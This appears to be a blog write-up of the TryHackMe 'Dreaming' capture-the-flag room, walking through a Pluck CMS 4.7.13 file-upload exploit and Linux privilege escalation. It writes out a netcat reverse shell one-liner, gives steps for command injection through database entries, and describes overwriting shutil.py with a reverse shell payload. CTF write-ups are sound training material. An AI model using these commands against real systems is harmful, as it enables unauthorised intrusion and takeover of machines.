We covered TryHackMe Dreaming challenge where we demonstrated penetration testing concepts such as exploiting a vulnerable version of Pluck CMS to gain a reverse shell. Then we started the process of horizontal Linux privilege escalation. We moved between various users with alternating privileges such as www-data, lucien, death and morpheus. A combination of weak file permissions, incorrectly assigned privileges and hard coded credentials we were able to escalate privileges to the highest user, Morpheus, and wrap up the challenge.

Initial Reconnaissance and Web Exploitation

I started my reconnaissance with an Nmap scan, which quickly revealed two open ports: 22 (SSH) and 80 (HTTP web server).

Navigating to the web server initially showed a default Apache2 page. To uncover hidden directories, I used GoBuster with a common wordlist. While the exact command wasn’t fully shown, the typical structure I used was:

  • gobuster dir -u <IP_ADDRESS> -w <WORDLIST_PATH>/common.txt

This scan revealed an important directory: /app. Upon navigating to /app, I was redirected to a path that clearly indicated the web server was running Pluck CMS version 4.7.13.

With the CMS identified, I immediately used searchsploit to look for known exploits:

  • searchsploit pluck cms

This search yielded an authenticated file upload remote code execution exploit specifically for version 4.7.13.

To gain initial access, the exploit required admin credentials. The video mentioned the default credentials are “admin” for the username and “password” for the password. I copied the exploit script locally using:

  • searchsploit -m <EXPLOIT_ID>

Then, I executed the Python exploit script with the target IP, port, password, and the path to the Pluck CMS installation (likely port 80):

  • python <EXPLOIT_SCRIPT_NAME>.py <TARGET_IP> <TARGET_PORT> password /app/

Successful execution uploaded a web shell, giving me my first foothold on the system.

Privilege Escalation: From Web Shell to User lucian

From the web shell, I needed a more stable shell. I used a Netcat reverse shell one-liner, similar to this:

  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> <LISTENER_PORT> >/tmp/f

On my attacker machine, I set up a listener:

  • nc -lvnp <LISTENER_PORT> (e.g., nc -lvnp 4545)

Once I received the shell, I stabilized it using the Python TTY trick:

  • python -c 'import pty; pty.spawn("/bin/bash")'

I found myself as the www-data user. Listing the /home directory revealed three users: death, lucian, and morpheus.

To find credentials for lucian, I enumerated the /opt directory. I found two Python scripts: get_dreams.py and test.py. While get_dreams.py interacted with a MySQL database (and had a redacted password for user death), test.py contained a plaintext password for the user lucian.

With lucian‘s password, I switched to that user:

  • su lucian (and then entered the found password)

Privilege Escalation: From lucian to User death

As lucian, I immediately checked my sudo privileges:

  • sudo -l

This revealed that lucian could run /opt/get_dreams.py as the user death without a password.

I then performed some MySQL enumeration as lucian. Checking lucian‘s bash history (cat ~/.bash_history) revealed a MySQL login command with lucian‘s credentials. I logged into MySQL:

  • mysql -u lucian -p<PASSWORD_FROM_HISTORY>

Inside MySQL, I explored the databases and tables:

  • SHOW DATABASES; (found library)
  • USE library;
  • SHOW TABLES; (found dreams)
  • SELECT * FROM dreams;

The dreams table had dreamer and dream columns, and the get_dreams.py script outputted their content. This gave me an idea for MySQL command injection. I inserted a new entry into the dreams table:

  • INSERT INTO dreams (dreamer, dream) VALUES ('injection', '/bin/bash');

Now, by exploiting the sudo privilege, I ran the get_dreams.py script as death:

  • sudo -u death python3 /opt/get_dreams.py

This executed the /bin/bash command I had stored in the database, giving me a shell as user death.

As death, I could now read the get_dreams.py script in death‘s home directory (/home/death/get_dreams.py), which finally revealed death‘s actual password (which was previously redacted). I then switched to death for a stable shell:

  • su death (and entered the newly found password)

Privilege Escalation: From death to User morpheus (Root Equivalent)

My final step was to escalate privileges to morpheus, who was essentially the root user. I started by enumerating morpheus‘s home directory and found a Python script called restore.py.

Analyzing restore.py, I saw it used the shutil Python library to perform a backup. This gave me an idea for Python library hijacking. If restore.py (likely run by a cron job as morpheus) imported a modified shutil.py library, my code would execute as morpheus.

I found the location of shutil.py (e.g., /usr/lib/python3.8/shutil.py). Crucially, the death user had group write permissions on shutil.py.

I then modified shutil.py:

  1. First, I cleared its content: echo "" > /usr/lib/python3.8/shutil.py
  2. Then, I echoed a Python reverse shell payload into shutil.py, ensuring my IP and listener port were correct:
    • echo '<PYTHON_REVERSE_SHELL_CODE>' >> /usr/lib/python3.8/shutil.py

Finally, I started a listener on my attacker machine on the port specified in the Python reverse shell (e.g., 4446). When the restore.py script executed (presumably via cron), it imported my modified shutil.py, triggering the reverse shell and giving me access as morpheus.

Room Answers

What is the Lucien Flag?
What is the Death Flag?

Video Walkthrough

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles